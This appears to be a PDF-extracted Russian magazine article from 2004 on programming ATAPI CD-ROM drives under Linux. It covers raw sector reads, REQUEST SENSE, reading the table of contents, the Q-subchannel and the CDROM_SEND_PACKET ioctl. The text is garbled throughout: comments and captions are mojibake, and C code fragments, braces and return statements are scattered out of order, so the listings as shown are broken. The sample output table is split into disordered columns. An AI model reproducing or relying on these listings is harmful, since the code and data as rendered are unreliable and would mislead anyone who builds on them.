Ðèñóíîê 8. Ôîðìàò êîìàíäû READ CD
Назначение полей командного пакета:
/* Ñ÷èòûâàåì ðåçóëüòàò è ñîõðàíÿåì åãî â ôàéëå */ for(i = 0; i < SECT_SIZE; i += 2) { IN_P_W(a, 0x170); memcpy((void *)(buff + i), (void *)&a, 2); }
! Expected Sector Type – определяет тип сектора, кото-
! ! !
!
рый мы хотим считать. Может принимать следующие значения (INF-8020i, таблица 94): ! 000b – Any type ! 001b – CD-DA ! 010b – Mode1 ! 100b – Mode2 Form1 ! 101b – Mode2 Form2 Starting Logical Block Address – номер стартового сектора; Transfer Length in Blocks – число считываемых секторов; Flag Bits – это поле определяет, какие данные будут прочитаны из сектора. В таблице 99, стр. 147 спецификации INF-8020i определены допустимые значения этого поля и поля данных, которые будут считаны из сектора (секторов). Например, значение поля Expected Sector Type, равное 0xF8, означает, что из сектора любого типа (Mode1, Mode 2 Form 1, Mode 2 Form 2) будут считаны все данные: поле синхронизации Sync, заголовки Header и Subheader (для Mode 2), поле данных и значения контрольных сумм EDD/ECC. Другими словами, c компакт-диска будет прочитан «сырой» сектор (RAW-сектор); Sub-Channel Data Selection Bits – данное поле определяет необходимость считывания в общем потоке данных содержимое субканалов: ! 000b – данные из субканалов не передаются; ! 001b – считываются «сырые» данные субканалов; ! 010b – данные Q-субканала; ! 100b – данные R-W субканалов.
Формат данных Q-субканала приведён на рис. 9. Рассмотрим функцию, которая выполняет чтение RAWсектора с компакт-диска. Входные данные функции – логи-
№9(22), сентябрь 2004
}
out_f = open("sector", O_CREAT|O_RDWR, 0600); write(out_f, buff, sizeof(buff)); return 0;
Ðèñóíîê 9. Ôîðìàò äàííûõ Q-ñóáêàíàëà
Если при обращении к устройству произойдет ошибка, то никаких данных мы, соответственно, не получим. Однако у нас есть возможность узнать причину ошибки. Для этого достаточно послать устройству пакетную команду REQUEST SENSE. В ответ устройство выдаст информационный блок sense data (см. рис. 10). Три поля данной структуры – Sense Key, Additional Sense Code (ASC), Additional Sense Code Qualifier – позволяют точно установить причину ошибки. Допустимые значения этих полей и их описание ошибочной ситуации приведены в спецификации INF-8020i, таблицы 140 и 141, стр. 183 – 185. Анализ ошибочной ситуации выполняет функция request_sense():
75
программирование int request_sense() { int i = 0; __u8 cmd_buff[12]; __u8 sense_buff[14]; __u16 a; memset((void *)cmd_buff, 0, 12); memset((void *)sense_buff, 0, 14); /* Ôîðìèðóåì ïàêåòíóþ êîìàíäó REQUEST SENSE. * Èç áëîêà sense data ñ÷èòûâàåì ïåðâûå 14 áàéò – * ýòîãî íàì õâàòèò, ÷òîáû îïðåäåëèòü ïðè÷èíó îøèáêè */ cmd_buff[0] = 0x3; cmd_buff[4] = 14;
За расшифровкой обратимся к таблицам 140 и 141. Значение Sense key, равное 0x2, означает «NOT READY. Indicates that the Device cannot be accessed», ASC=0x3A и ASCQ=0x0 – «MEDIUM NOT PRESENT». Устройство сообщило о том, что компакт-диск в приводе отсутствует. Теперь попытаемся прочитать сектор, номер которого заведомо превышает допустимое значение. В программе задаем LBA = 10000000 и получаем в результате:
/* Ïîñûëàåì óñòðîéñòâó êîìàíäó è ñ÷èòûâàåì sense data */ if(send_packet_data_command(14, cmd_buff) < 0) exit(-1); for(i = 0; i < 14; i += 2) { IN_P_W(a, 0x170); memcpy((void *)(sense_buff + i), (void *)&a, 2); } printf("Sense key - 0x%X\n", sense_buff[2] & 0x0F); printf("ASC - 0x%X\n", sense_buff[12]); printf("ASCQ - 0x%X\n", sense_buff[13]); }
return 0;
В этом случае устройство сообщает, что логический адрес сектора вышел за пределы допустимого диапазона. Q-субканал Lead-In области компакт-диска содержит таблицу содержания диска, Table of Contents, или TOC. Это своеобразный аналог таблицы разделов жесткого диска. В TOC хранятся данные о координатах треков и другая служебная информация. Чтение таблицы содержания диска выполняется командой READ TOC. Формат этой команды представлен на рис. 11.
Ðèñóíîê 10. Áëîê äàííûõ sense data, âîçâðàùàåìûé êîìàíäîé REQUEST SENSE
Полный листинг программы чтения RAW-секторов с компакт-диска находится в файле RAW/read_sector.c. Приведём пример работы этой программы. С компакт-диска считывается сектор номер 1000. В результате работы будет создан файл sector. Посмотрим на первые 16 байт этого файла: 00 FF FF FF FF FF FF FF FF FF FF 00 00 15 25 01
Первые 12 байт – это поле синхронизации Sync-сектора (см. рис. 6). Следующие за ним 3 байта – координаты сектора в формате MSF, значения представлены в BCDкоде. Последний байт содержит значение режима записи данных, Data Mode. Пересчитаем координаты сектора из MS- формата в LBA по формуле (см. [3, 4]): LBA = ((Minute * 60 + Second) * 75 + Frame) – 150
В нашем примере, Minute = 00, Second = 15, Frame = 25. Подставив значения в формулу, получаем LBA = 1000. Именно этот сектор мы считывали. Теперь проверим, как обрабатываются ошибочные ситуации. Удалим из привода компакт-диск и запустим программу на выполнение. В результате программа выдаст следующее:
76
Ðèñóíîê 11. Ôîðìàò êîìàíäû READ TOC
Назначение полей командного пакета:
! MSF – формат адреса блока данных (0 – LBA, 1 – MSF); ! Format – определяет формат данных, выдаваемых по команде READ TOC: ! 00b – считываются данные TOC, начиная с трека, номер которого указан в поле Starting Track. Если это поле содержит 0, содержимое TOC выдаётся для всех треков диска, начиная с первого. Если поле Starting Track содержит значение 0xAA, выдаются данные TOC последней Lead-Out области диска; ! 01b – считывается номер первой сессии, номер последней сессии и номер первого трека последней сессии; ! 10b – считываются все данные Q-субканала Lead-In областей всех сессий, начиная с сессии, номер которой находится в поле Session Number. Поле Format девятого байта не используется. Формат данных TOC для Format = 00b, представлен на рис. 12. Первые четыре байта – это заголовок, содержащий длину данных TOC и номера первого и последнего треков. За заголовком следуют дескрипторы треков. Первым расположен дескриптор трека, номер которого задан в поле
программирование Starting Track. Максимальная длина данных TOC, согласно спецификации INF-8020i (рис. 12), составляет 804 байта, или 100 TOC track descriptors.
* ïî êîìàíäå READ TOC áóäåò âûäàíà èíôîðìàöèÿ îáî âñåõ * òðåêàõ äèñêà, íà÷èíàÿ ñ ïåðâîãî */ memset((void *)cmd_buff, 0, PACKET_LEN); cmd_buff[0] = READ_TOC; cmd_buff[6] = 0; /* Ðàçìåð îáëàñòè ïàìÿòè, âûäåëåííîé äëÿ äàííûõ TOC */ a = MAX_TOC_LEN; a = __swab16(a); memcpy((void *)(cmd_buff + 7), (void *)&a, 2); data_buff = (__u8 *)malloc(MAX_TOC_LEN); memset(data_buff, 0, MAX_TOC_LEN); /* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */ if(send_packet_data_command(MAX_TOC_LEN, cmd_buff) < 0) return -1;
Ðèñóíîê 12. Ôîðìàò äàííûõ TOC, Format Field = 00b
Формат данных TOC для Format = 10b, приведен на рис.13:
/* Ñ÷èòûâàåì ðåçóëüòàò */ for(i = 0;;i += 2) { IN_P_W(a, 0x170); // ðàçìåð äàííûõ TOC if(i == 0) toc_length = __swab16(a); if(i > toc_length) break; memcpy((void *)(data_buff + i), (void *)&a, 2); } /* ×èñëî òðåêîâ íà äèñêå */ total_tracks = data_buff[3]; /* Îòîáðàçèì ðåçóëüòàò */ printf("TOC length - %d\n", toc_length); printf("First: %d\t", data_buff[2]); printf("Last: %d\n", total_tracks); /* Âûäåëèì ïàìÿòü è ñêîïèðóåì òóäà äåñêðèïòîðû òðåêîâ */ t = (struct toc *)malloc(toc_length); memcpy((void *)t, (data_buff + 4), toc_length); free(data_buff); /* Îòîáðàçèì ðåçóëüòàòû */ for(i = 0; i < total_tracks; i++) printf("track: %d\tlba: %u\n", (i + 1), ↵ __swab32((t + i)->lba)); }
Ðèñóíîê 13. Ôîðìàò äàííûõ TOC, Format Field = 10b
Здесь картина аналогичная – первым идёт заголовок размером 4 байта, а за ним расположены записи TOC. Рассмотрим функцию read_toc(), выполняющую чтение TOC, при условии, что поле Format содержит 00b. Формат дескриптора трека TOC, представленный на рис. 12, описывает структура struct toc: struct toc { __u8 res; __u8 adr_cntl; __u8 trk_num; // íîìåð òðåêà __u8 res1; __u32 lba; // àäðåñ ñåêòîðà } __attribute__ ((packed)) *t; int read_toc() { #define PACKET_LEN 12 // äëèíà ïàêåòíîé êîìàíäû #define READ_TOC 0x43 // êîä êîìàíäû READ TOC #define MAX_TOC_LEN 804 // ìàêñèìàëüíàÿ äëèíà äàííûõ TOC //(Format = 00b) int i = 0; int total_tracks = 0; __u8 cmd_buff[PACKET_LEN]; __u8 *data_buff; __u16 toc_length = 0, a; /* Ôîðìèðóåì ïàêåòíóþ êîìàíäó. Ïîëå Starting Track ñîäåðæèò 0,
№9(22), сентябрь 2004
return 0;
Полный листинг программы чтения TOC приведен в файле RAW/read_toc1.c. Рассмотрим ещё один пример чтения TOC. Для хранения содержимого TOC организуем односвязный список структур следующего вида: struct toc { __u8 res; __u8 adr_cntl; __u8 trk_num; __u8 res1; __u32 lba; struct toc *next; // óêàçàòåëü íà ñëåäóþùèé ýëåìåíò ñïèñêà };
Здесь struct toc *next – указатель на следующий элемент списка. Формирование этого списка будет выполнять рекурсивная функция read_toc( ): struct toc * read_toc() { #define READ_TOC 0x43 static int i = 1; int n; __u8 cmd_buff[12]; __u8 data_buff[12]; /* Ïðè êàæäîì îáðàùåíèè ê äèñêó ìû ñ÷èòûâàåì 12 áàéò – 4 áàéòà * çàãîëîâêà è 8 áàéò äåñêðèïòîðà òðåêà, íîìåð êîòîðîãî * çàäàí â ïîëå Starting Track */ __u16 buff_size = 12, a;
77
программирование t_entry = (struct toc_entry *) ↵ malloc(sizeof(struct toc_entry)); t_entry->start_lba = t->lba; t_entry->end_lba = t->next->lba;
struct toc *t; /* Åñëè íîìåð òðåêà ïðåâûñèë 0xAA, âûïîëíåíèå ôóíêöèè ïðåêðàùàåòñÿ */ if(i > 0xAA) return NULL; /* Âûäåëÿåì ïàìÿòü äëÿ äåñêðèïòîðà òðåêà */ t = (struct toc *)malloc(sizeof(struct toc)); /* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */ memset((void *)cmd_buff, 0, 12); cmd_buff[0] = READ_TOC; /* Ïîëå Starting Track ñîäåðæèò íîìåð òðåêà. Ýòîò íîìåð * óâåëè÷èâàåòñÿ ïðè êàæäîì âûçîâå ôóíêöèè */ cmd_buff[6] = i; /* Ðàçìåð ñ÷èòûâàåìûõ äàííûõ */ buff_size = __swab16(buff_size); memcpy((void *)(cmd_buff + 7), (void *)&buff_size, 2); /* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */ if(send_packet_data_command(buff_size, cmd_buff) < 0) { printf("Error read TOC\n"); request_sense(); exit(-1); } /* Ñ÷èòûâàåì äàííûå – çàãîëîâîê è äåñêðèïòîð òðåêà (ðèñ. 12) */ memset(data_buff, 0, 12); for(n = 0; n < 12; n += 2) { IN_P_W(a, 0x170); memcpy((void *)(data_buff + n), (void *)&a, 2); } /* Îòîáðàçèì ðàçìåð äàííûõ TOC è íîìåð ïåðâîãî è ïîñëåäíåãî * òðåêà */ if (i == 1) { memcpy((void *)&a, (void *)(data_buff), 2); printf("TOC lenght - %d\n", __swab16(a)); printf("First: %d\t", data_buff[2]); printf("Last: %d\n", data_buff[3]); max_track_num = data_buff[3]; } /* Êîïèðóåì äåñêðèïòîð òðåêà â ñòðóêòóðó struct toc */ memcpy((void *)t, (data_buff + 4), 8); t->lba = __swab32(t->lba); /* Ñ÷èòûâàåì äåñêðèïòîð ñëåäóþùåãî òðåêà. Åñëè òðåêîâ áîëüøå íåò, * ñ÷èòûâàåì äåñêðèïòîð Lead-Out îáëàñòè ïîñëåäíåé ñåññèè. */ i += 1; if(i == (max_track_num + 1)) i = 0xAA;
}
t->next = read_toc(); return t;
void view_toc(struct toc *t) { if(t == NULL) return; if(t->trk_num == 0xAA) printf("lead out:\t"); else printf("track: %d\t", t->trk_num); printf("lba: %u\n", t->lba); view_toc(t->next);
Извлечь из сформированного списка дескриптор трека можно при помощи следующей функции: struct toc_entry * get_toc_entry(int trk_num, struct toc *t) { struct toc_entry *t_entry; int i = 1; for(;i < trk_num; i++) t = t->next;
78
return t_entry;
Входные параметры функции – номер трека и указатель на начало списка с данными TOC. Результат сохраняется в структуре struct toc_entry следующего вида: struct toc_entry { __u32 start_lba; // ñòàðòîâûé àäðåñ òðåêà __u32 end_lba; // êîíå÷íûé àäðåñ òðåêà };
Полный листинг программы, выполняющей чтение TOC, приведен в файле RAW/read_toc.c. Если скомпоновать вместе функции read_cd и read_toc, можно написать программу чтения треков с компакт-диска. В файле RAW/read_cdda_track.c находится листинг программы, которая считывает треки с Audio-CD и сохраняет их в файле track.cdr. Детально изучать этот листинг мы не будем, т.к. только что подробно рассмотрели его основные составляющие. Единственное замечание – в отличие от ранее рассмотренной функции read_cd при считывании сектора с аудиодиска соседние байты меняются местами. Это связано с порядком расположения аудиоданных в секторе: for(i = 0; i < 2352; i += 2) { IN_P_W(a, 0x170); a = __swab16(a); memcpy((void *)(buff + i), (void *)&a, 2); }
В принципе этого можно и не делать, но тогда нам придется самостоятельно формировать RIFF-заголовок, чтобы получить файл в формате WAV. Лучше возложим эту почётную обязанность на sox. Конвертируем файл в WAVформат: # sox track.cdr track.wav
Полученный WAV-файл кодируем в формат Ogg Vorbis:
Просмотр содержимого TOC выполняет рекурсивная функция view_toc( ):
}
}
# oggenc track.wav -b 256 track.ogg
Системный вызов IOCTL Теперь рассмотрим порядок посылки устройству пакетной команды при помощи системного вызова ioctl. Команда выглядит следующим образом: ioctl(int fd, CDROM_SEND_PACKET, struct cdrom_generic_command *);
Первый параметр – дескриптор файла устройства. Второй параметр, CDROM_SEND_PACKET – спецификатор, указывающий на необходимость передачи устройству пакетной команды. Третий параметр – структура следующего типа: /* for CDROM_PACKET_COMMAND ioctl */
программирование struct cdrom_generic_command { unsigned char unsigned char unsigned int int struct request_sense unsigned char int int void };
cmd[CDROM_PACKET_SIZE]; *buffer; buflen; stat; *sense; data_direction; quiet; timeout; *reserved[1];
Эта структура определена в файле <linux/cdrom.h>. Назначение полей структуры: ! cmd[CDROM_PACKET_SIZE] – 12-байтный командный пакет; ! buffer – указатель на буфер, куда будут помещены считанные данные. Также в этом буфере хранятся данные, которые будут переданы устройству; ! buflen – размер передаваемых (принимаемых) данных; ! sense – структура, содержащая информацию о состоянии устройства (см. команду REQUEST SENSE и рис. 10). Эта структура также определена в файле <linux/ cdrom.h>; ! data_direction – направление обмена данными. Может принимать следующие значения: #define CGC_DATA_WRITE 1 // ïåðåäà÷à äàííûõ óñòðîéñòâó #define CGC_DATA_READ 2 // ïðè¸ì äàííûõ îò óñòðîéñòâà #define CGC_DATA_NONE 3 // íåò îáìåíà äàííûìè
! timeout – допустимое время выполнения команды. Рассмотрим примеры программ, выполняющих доступ к ATAPI-устройству при помощи системного вызова IOCTL. Первый пример – открытие и закрытие лотка CD-ROM (файл IOCTL/open_close.c). /* Ôàéë open_close.c */ #include <stdio.h> #include <fcntl.h> #include <linux/types.h> #include <linux/cdrom.h> int main() { int fd; struct cdrom_generic_command cgc; /* Îòêðûâàåì ôàéë óñòðîéñòâà */ fd = open("/dev/cdrom", O_RDONLY|O_NONBLOCK); memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); /* Æä¸ì ãîòîâíîñòü óñòðîéñòâà ê âûïîëíåíèþ ïàêåòíîé êîìàíäû. * Ïîëå data_direction áóäåò ñîäåðæàòü CGC_DATA_NONE, ò.ê. * êîìàíäà íå òðåáóåò ïåðåäà÷è äàííûõ */ cgc.cmd[0] = GPCMD_TEST_UNIT_READY; // ñì. <linux/cdrom.h> cgc.data_direction = CGC_DATA_NONE; /* Ïîñûëàåì óñòðîéñòâó êîìàíäó */ ioctl(fd, CDROM_SEND_PACKET, &cgc); /* Ôîðìèðóåì è ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó, * âûïîëíÿþùóþ îòêðûòèå ëîòêà CD-ROM. Êîìàíäà íå òðåáóåò * ïåðåäà÷è äàííûõ, ïîëå data_direction ñîäåðæèò CGC_DATA_NONE */ memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); cgc.cmd[0] = GPCMD_START_STOP_UNIT; cgc.cmd[4] = 0x2; cgc.data_direction = CGC_DATA_NONE; ioctl(fd, CDROM_SEND_PACKET, &cgc);
№9(22), сентябрь 2004
printf("CD-ROM îòêðûò. Íàæìèòå ENTER äëÿ çàêðûòèÿ"); getchar(); /* Çàêðûâàåì ëîòîê */ memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); cgc.cmd[0] = GPCMD_START_STOP_UNIT; cgc.cmd[4] = 0x3; cgc.data_direction = CGC_DATA_NONE; ioctl(fd, CDROM_SEND_PACKET, &cgc);
}
printf("CD-ROM çàêðûò\n"); return 0;
Следующий пример – функция read_cd, выполняющая чтение RAW-сектора, при этом вместе с данными основного канала считываются данные Q-субканала сектора. Формат данных Q-субканала приведен на рис.9, формат команды READ CD – на рис. 8. Входной параметр функции – логический номер сектора. int read_cd(__u32 lba) { int fd, out_f; struct cdrom_generic_command cgc; struct request_sense sense; #define QSCH_LEN 16 // ðàçìåð äàííûõ Q-ñóáêàíàëà /* Áóôåð äëÿ ñ÷èòàííûõ äàííûõ */ __u8 blk_buff[CD_FRAMESIZE_RAW + QSCH_LEN]; /* Îòêðûâàåì ôàéë óñòðîéñòâà */ fd = open("/dev/cdrom", O_RDONLY|O_NONBLOCK); /* Îæèäàåì ãîòîâíîñòü óñòðîéñòâà ê ïðèíÿòèþ ïàêåòíîé êîìàíäû */ memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); memset(&sense, 0, sizeof(sense)); cgc.cmd[0] = GPCMD_TEST_UNIT_READY; cgc.data_direction = CGC_DATA_NONE; cgc.sense = &sense; if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) { perror("ioctl"); printf("Sense key - 0x%02x\n", sense.sense_key); printf("ASC - 0x%02x\n", sense.asc); printf("ASCQ - 0x%02x\n", sense.ascq); return -1; } /* Ôîðìèðóåì êîìàíäó READ CD */ memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); memset(&sense, 0, sizeof(sense)); memset(blk_buff, 0, sizeof(blk_buff)); cgc.cmd[0] cgc.cmd[1] cgc.cmd[8] cgc.cmd[9]
= = = =
GPCMD_READ_CD; 0; // ñ÷èòûâàòü ñåêòîð ëþáîãî òèïà 1; // ñ÷èòûâàòü îäèí ñåêòîð 0xF8; // èç ñåêòîðà ñ÷èòûâàòü âñå äàííûå // (òàáë.99 INF-8010i) cgc.cmd[10] = 2; // ñ÷èòûâàòü äàííûå Q-ñóáêàíàëà // â îáùåì ïîòîêå äàííûõ printf("lba - %d\n", lba); lba = __swab32(lba); memcpy((cgc.cmd + 2), (void *)&lba, 4); // íàïðàâëåíèå äàííûõ – îò óñòðîéñòâà cgc.data_direction = CGC_DATA_READ; cgc.buffer = blk_buff; // óêàçàòåëü íà áóôåð äëÿ äàííûõ cgc.buflen = CD_FRAMESIZE_RAW + QSCH_LEN; // ðàçìåð áóôåðà cgc.sense = &sense; /* Îòïðàâëÿåì óñòðîéñòâó êîìàíäó */ if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) { perror("ioctl"); printf("Sense key - 0x%02x\n", sense.sense_key); printf("ASC - 0x%02x\n", sense.asc); printf("ASCQ - 0x%02x\n", sense.ascq);
79
программирование }
return -1;
/* Çàïèñûâàåì â ôàéë sector äàííûå îñíîâíîãî êàíàëà */ out_f = open("sector", O_CREAT|O_RDWR, 0600); write(out_f, blk_buff, CD_FRAMESIZE_RAW); /* Â ôàéë qsch - äàííûå Q-ñóáêàíàëà */ out_f = open("qsch", O_CREAT|O_RDWR, 0600); write(out_f, blk_buff + CD_FRAMESIZE_RAW, QSCH_LEN); /* Îòîáðàçèì êîîðäèíàòû ñåêòîðà, íàõîäÿùèåñÿ â çàãîëîâêå * Header */ printf("Minute - %x\n", blk_buff[CD_SYNC_SIZE]); printf("Second - %x\n", blk_buff[CD_SYNC_SIZE + 1]); printf("Frame - %x\n", blk_buff[CD_SYNC_SIZE + 2]); printf("Mode - %d\n", blk_buff[CD_SYNC_SIZE + 3]);
}
close(fd); close(out_f); return 0;
Полный листинг программы чтения RAW-секторов компакт-диска с использованием системного вызова IOCTL находится в файле IOCTL/read_sector.c. После запуска на выполнение программа сохранит данные основного канала в файле sector, данные Q-субканала – в файле qsch и выведет значения координат сектора в MSF формате, считанные из поля Header. Для сектора номер 1001 получим следующий результат:
Результаты чтения данных Q-субканала программой read_sector зависят от используемой модели CD-ROM. Для сравнения посмотрим на результаты чтения приводами TEAC и MITSUMI Q-субканала сектора номер 1001.
Байты 7, 8 и 9 содержат координаты сектора в MSFформате. Если пересчитать этот адрес в формат LBA, то получится, что TEAC считывает «родной» Q-субканал сектора, а MITSUMI читает Q-субканал соседа, 1002 сектора. Для изучения следующего примера понадобится компакт-диск, на котором записано несколько сессий. Наша задача – прочитать содержимое TOC этого диска при усло-
Ðèñóíîê 14. Ôîðìàòû äàííûõ Q-ñóáêàíàëà Lead-In îáëàñòè (TOC)
80
вии, что поле Format содержит значение 10b. Формат данных TOC при Format Field = 10b представлен на рис.13. Следующая структура описывает формат записи TOC при Format = 10b: struct toc { __u8 snum; // __u8 ctrl :4; // __u8 adr :4; // __u8 tno; // __u8 point; // __u8 min; // __u8 sec; // __u8 frame; // __u8 zero; // __u8 pmin; // __u8 psec; // __u8 pframe; // } __attribute__ ((packed));
íîìåð ñåññèè Control ADR íîìåð òðåêà (âñåãäà 0) POINT AMIN ASEC AFRAME 0 PMIN PSEC PFRAME
Поле point определяет тип информации, которую содержит запись TOC. Значение этого поля определяет назначение остальных полей, таких как min, sec, frame, pmin, psec, pframe. Считывание TOC выполняет функция read_toc(): int read_toc() { int i = 1; // áóôåð äëÿ õðàíåíèÿ ðåçóëüòàòîâ ÷òåíèÿ TOC __u8 *data_buff; /* Çàäàåì ðàçìåð îáëàñòè ïàìÿòè äëÿ õðàíåíèÿ äàííûõ ÒÎÑ. * Ò.ê. çàðàíåå îáúåì äàííûõ íàì íå èçâåñòåí, òî çàäàäèì * ìàñêèìàëüíîå çíà÷åíèå - 64 Êá */ __u16 buff_size = 0xFFFF; __u16 toc_data_length = 0; // äëèíà çàïèñåé TOC __u32 lba; int toc_entries = 0; // ÷èñëî çàïèñåé â TOC struct cdrom_generic_command cgc; struct request_sense sense; struct toc *t; memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); memset(&sense, 0, sizeof(sense)); /* Âûäåëÿåì ïàìÿòü äëÿ ñîäåðæèìîãî TOC */ data_buff = (__u8 *)malloc(buff_size); memset(data_buff, 0, buff_size); /* Ôîðìèðóåì ïàêåòíóþ êîìàíäó äëÿ ÷òåíèÿ TOC */ cgc.cmd[0] = GPCMD_READ_TOC_PMA_ATIP;
программирование cgc.cmd[2] = 2; // ïîëå Format Field = 10b cgc.sense = &sense; cgc.data_direction = CGC_DATA_READ; cgc.buffer = data_buff; cgc.buflen = buff_size;
/* Ïåðåñ÷èòûâàåì êîîðäèíàòû èç MSF â LBA ïðè ïîìîùè ìàêðîñà * MSF2LBA */ #define MSF2LBA(Min, Sec, Frame) \ (((Min * 60 + Sec) * 75 + Frame) - 150) lba = MSF2LBA((t + i)->pmin, (t + i)->psec, ↵ (t + i)->pframe); printf("%u\n", lba);
buff_size = __swab16(buff_size); memcpy((void *)(cgc.cmd + 7), (void *)&buff_size, 2); /* Ïîñûëàåì êîìàíäíûé ïàêåò óñòðîéñòâó */ if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) { perror("ioctl"); printf("Sense key - 0x%02x\n", sense.sense_key); printf("ASC - 0x%02x\n", sense.asc); printf("ASCQ - 0x%02x\n", sense.ascq); }
return -1;
/* Îïðåäåëÿåì ðàçìåð äàííûõ TOC */ memcpy(&toc_data_length, data_buff, 2); toc_data_length = __swab16(toc_data_length); printf("TOC data length - %d\n", toc_data_length); /* Âû÷èñëÿåì ÷èñëî çàïèñåé â ñîäåðæèìîì TOC (cì. ðèñ.13) */ toc_entries = (toc_data_length - 2)/11; printf("TOC entries - %d\n", toc_entries); /* Íîìåð ïåðâîé è ïîñëåäíåé ñåññèè */ printf("First: %d\t", data_buff[2]); printf("Last: %d\n", data_buff[3]); /* Âûäåëÿåì ïàìÿòü äëÿ äàííûõ TOC, ðàçìåð ýòèõ äàííûõ óæå * òî÷íî èçâåñòåí */ t = (struct toc *)malloc(toc_data_length); memset((void *)t, 0, toc_data_length); /* Êîïèðóåì äàííûå TOC èç áóôåðà data_buff * è îñâîáîæäàåì âûäåëåííóþ ïîä íåãî ïàìÿòü */ memcpy((void *)t, data_buff + 4, toc_data_length); free(data_buff); /* Îòîáðàæàåì ðåçóëüòàòû ÷òåíèÿ TOC */ printf("Entry\tSession\tPoint\tMin\tSec\ ↵ tFrame\tPMin\tPsec\tPFrame\tLBA\n"); for(i = 0; i < toc_entries; i++) { printf("%d\t", i); printf("%d\t", (t + i)->snum); printf("%X\t", (t + i)->point); printf("%d\t", (t + i)->min); printf("%d\t", (t + i)->sec); printf("%d\t", (t + i)->frame); printf("%d\t", (t + i)->pmin); printf("%d\t", (t + i)->psec); printf("%d\t", (t + i)->pframe);
}
} free(t); return 0;
Полный листинг программы чтения TOC находится в файле IOCTL/read_toc_full.c. Устанавливаем в устройство компакт-диск, на котором создано 2 сессии, и запускаем на выполнение программу read_cd_full. Вывод направим в файл toc: # ./read_cd_full > toc
В результате в файле toc будут собраны данные Q-субканалов всех Lead-In областей компакт-диска: TOC data length - 123 TOC entries - 11 First: 1 Last: 2 Entry Session Point 0 1 1 1 2 1 3 1 4 1 5 1 6 2 7 2 8 2 9 2 10 2
Min A0 A1 A2 1 B0 C0 A0 A1 A2 2 B0
Sec 0 0 0 0 3 70 0 0 0 0 5
Frame 0 0 0 0 7 0 0 0 0 0 14
PMin 0 0 0 0 50 158 0 0 0 0 19
Psec 1 1 0 0 79 97 2 2 3 3 79
PFrame LBA 32 0 0 0 37 50 2 0 59 74 34 23 32 0 0 0 44 19 9 50 59 74
6750 4350 2675 0 359849 438923 11250 8850 16669 14075 359849
Проведем анализ полученных результатов (таблица 1). Для этого воспользуемся таблицей 131, которая приведена на стр. 175 спецификации INF-8020i (рис. 14). Следующий пример – чтение данных Q-субканала секторов компакт-диска. Для выполнения этой операции воспользуемся связкой команд SEEK/READ SUB-CHANNEL. Команда SEEK перемещает оптический элемент к нужному сектору, а READ SUB-CHANNEL производит считывание необходимой нам информации из этого сектора. Считывать мы будем данные о текущей позиции оптического
Òàáëèöà 1. Ðåçóëüòàòû ÷òåíèÿ TOC (Format Field = 10b)
№9(22), сентябрь 2004
81
программирование элемента, другими словами, координаты сектора, над которым элемент находится. Заодно мы посмотрим на точность позиционирования головки CD-ROM разных моделей – TEAC и MITSUMI. Формат команды SEEK простой – байты 2-5 содержат координаты сектора в LBA-формате, на который мы хотим позиционировать оптический элемент. Формат команды READ SUB-CHANNEL представлен на рис. 15.
/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */ cgc.cmd[0] = GPCMD_SEEK; // êîä êîìàíäû SEEK (0x2B) cgc.sense = &sense; cgc.data_direction = CGC_DATA_NONE; // íåò îáìåíà äàííûìè /* Êîîðäèíàòû ñåêòîðà */ lba = __swab32(lba); memcpy((void *)(cgc.cmd + 2), (void *)&lba, 4); if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) { perror("ioctl"); printf("Sense key - 0x%02x\n", sense.sense_key); printf("ASC - 0x%02x\n", sense.asc); printf("ASCQ - 0x%02x\n", sense.ascq); return -1; } }
return 0;
Следующая структура описывает формат блока данных о текущей позиции оптического элемента (см. рис.16):
Ðèñóíîê 15. Ôîðìàò êîìàíäû READ SUB-CHANNEL
Для чтения данных Q-субканала бит SubQ устанавливается в 1. Для чтения текущей позиции оптического элемента устройства поле Sub-channel Data Format должно содержать 01h. В результате выполнения команды устройство вернет блок данных следующего формата:
struct current_position { __u8 dfc; // Data Format Code __u8 ctrl :4; // Control __u8 adr :4; // ADR __u8 tno; // Track number __u8 ino; // Index number __u32 a_addr; // Absolute CD-ROM Address __u32 r_addr; // Track Relative CD-ROM Address } __attribute__ ((packed)) cur_pos;
Функция, выполняющая чтение данных о текущей позиции оптического элемента устройства: void read_subch() { // ðàçìåð çàïðàøèâàåìûõ äàííûõ // (4 áàéòà çàãîëîâêà + 12 áàéò äàííûõ) __u16 buff_size = 16; // óêàçàòåëü íà áóôåð äëÿ äàííûõ Q-ñóáêàíàëà __u8 *data_buff; // ðàçìåð áëîêà äàííûõ Q-ñóáêàíàëà __u16 sch_length = 0; struct cdrom_generic_command cgc; struct request_sense sense; memset((void *)&cgc, 0, ↵ sizeof(struct cdrom_generic_command)); memset(&sense, 0, sizeof(struct request_sense)); /* Âûäåëÿåì ïàìÿòü */ data_buff = (__u8 *)malloc(buff_size); memset(data_buff, 0, buff_size);
Ðèñóíîê 16. Ôîðìàò áëîêà äàííûõ î òåêóùåé ïîçèöèè îïòè÷åñêîãî ýëåìåíòà
/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */ cgc.cmd[0] = GPCMD_READ_SUBCHANNEL; // êîä êîìàíäû cgc.cmd[2] = 0x40; // áèò SUBQ óñòàíîâëåí – äàííûå // Q-ñóáêàíàëà ñ÷èòûâàþòñÿ cgc.cmd[3] = 1; // ÷èòàåì äàííûå î òåêóùåé ïîçèöèè cgc.sense = &sense; cgc.data_direction = CGC_DATA_READ; // íàïðàâëåíèå // ïåðåäà÷è äàííûõ cgc.buffer = data_buff; cgc.buflen = buff_size;
